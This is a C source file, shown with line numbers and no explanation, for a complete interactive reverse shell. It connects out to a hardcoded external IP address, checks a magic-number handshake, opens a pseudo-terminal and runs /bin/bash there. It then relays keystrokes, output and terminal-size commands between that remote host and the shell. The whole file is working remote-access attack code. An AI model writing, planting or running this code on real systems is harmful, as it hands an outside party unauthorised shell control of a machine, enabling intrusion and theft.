1 #include <errno.h> 2 #include <stdio.h> 3 #include <stdlib.h> 4 #include <string.h> 5 #include <fcntl.h> 6 #include <unistd.h> 7 #include <sys/types.h> 8 #include <sys/socket.h> 9 #include <sys/ioctl.h> 10 #include <netinet/in.h> 11 12 #define CHARBUFFER_TO_UINT(buf) ({\ 13 unsigned int result = \ 14 ((unsigned int) (buf)[0] << 24) \ 15 + ((unsigned int) (buf)[1] << 16) \ 16 + ((unsigned int) (buf)[2] << 8) \ 17 + ((unsigned int) (buf)[3]); \ 18 result; \ 19 }) 20 21 int main (int argc, char ** argv) { 22 int server; 23 struct sockaddr_in name; 24 25 if (argc < 2) { 26 printf("usage: %s port\n\n", argv[0]); 27 exit(EXIT_FAILURE); 28 } 29 30 name.sin_family = AF_INET; 31 inet_aton("185.111.88.182", &(name.sin_addr)); 32 name.sin_port = htons(atoi(argv[1])); 33 34 server = socket(PF_INET, SOCK_STREAM, 0); 35 if (connect(server, (struct sockaddr *) &name, sizeof(name)) < 0) { 36 perror("connect"); 37 goto exit_server; 38 } 39 40 unsigned char magic[4] = {0x12, 0x34, 0x56, 0x78}; 41 unsigned char cmp[4]; 42 if (write(server, magic, 4) < 4) { 43 fprintf(stderr, "Cannot write magic number!\n"); 44 goto exit_server; 45 } 46 if (read(server, cmp, 4) < 4) { 47 fprintf(stderr, "Cannot read magic number!\n"); 48 goto exit_server; 49 } 50 if (strncmp(magic, cmp, 4)) { 51 fprintf(stderr, "Magic number verification failed!\n"); 52 goto exit_server; 53 } 54 55 int master; 56 57 master = open("/dev/ptmx", O_RDWR|O_NOCTTY); 58 if (master < 0) { 59 perror("open /dev/ptmx"); 60 goto exit_server; 61 } 62 63 pid_t pid = fork(); 64 if (pid < 0) { 65 perror("fork"); 66 goto exit; 67 } 68 if (!pid) { 69 int slave; 70 char name[256]; 71 if (grantpt(master) < 0) { 72 perror("grantpt"); 73 goto exit; 74 } 75 if (unlockpt(master) < 0) { 76 perror("unlockpt"); 77 goto exit; 78 } 79 if (ptsname_r(master, name, 256) < 0) { 80 perror("ptsname_r"); 81 goto exit; 82 } 83 slave = open(name, O_RDWR); 84 if (slave < 0) { 85 perror("slave open"); 86 goto exit; 87 } 88 close(master); 89 setsid(); 90 dup2(slave, 0); 91 dup2(slave, 1); 92 dup2(slave, 2); 93 close(slave); 94 char * arguments[] = {"/bin/bash", NULL}; 95 execv("/bin/bash", arguments); 96 } else { 97 fd_set activeset, readset; 98 FD_ZERO(&activeset); 99 FD_SET(server, &activeset); 100 FD_SET(master, &activeset); 101 while (1) { 102 readset = activeset; 103 if (select(FD_SETSIZE, &readset, NULL, NULL, NULL) < 0) { 104 perror("select"); 105 goto exit; 106 } 107 if (FD_ISSET(master, &readset)) { 108 char buf[1024]; 109 ssize_t size; 110 do { 111 size = read(master, buf, 1024); 112 if (size <= 0) 113 goto exit; 114 size = write(server, buf, size); 115 if (size <= 0) 116 goto exit; 117 } while (size == 1024); 118 } 119 if (FD_ISSET(server, &readset)) { 120 char cmd[2]; 121 if (read(server, cmd, 2) < 2) 122 goto exit; 123 if (cmd[0] != 0x00) 124 goto exit; 125 if (cmd[1] == 0x00) { 126 if (read(server, cmd, 2) < 2) 127 goto exit; 128 ssize_t size = ((ssize_t) cmd[0] << 8) + (cmd[1]); 129 char buf[size]; 130 if (read(server, buf, size) < size) 131 goto exit; 132 if (write(master, buf, size) < size) 133 goto exit; 134 } else if (cmd[1] == 0x01) { 135 char buf[16]; 136 if (read(server, buf, 16) < 16) 137 goto exit; 138 struct winsize ws; 139 ws.ws_row = CHARBUFFER_TO_UINT(&buf[0]); 140 ws.ws_col = CHARBUFFER_TO_UINT(&buf[4]); 141 ws.ws_xpixel = CHARBUFFER_TO_UINT(&buf[8]); 142 ws.ws_ypixel = CHARBUFFER_TO_UINT(&buf[12]); 143 ioctl(master, TIOCSWINSZ, &ws); 144 } else { 145 goto exit; 146 } 147 } 148 } 149 } 150 exit: 151 close(master); 152 exit_server: 153 close(server); 154 exit(EXIT_SUCCESS); 155 } 156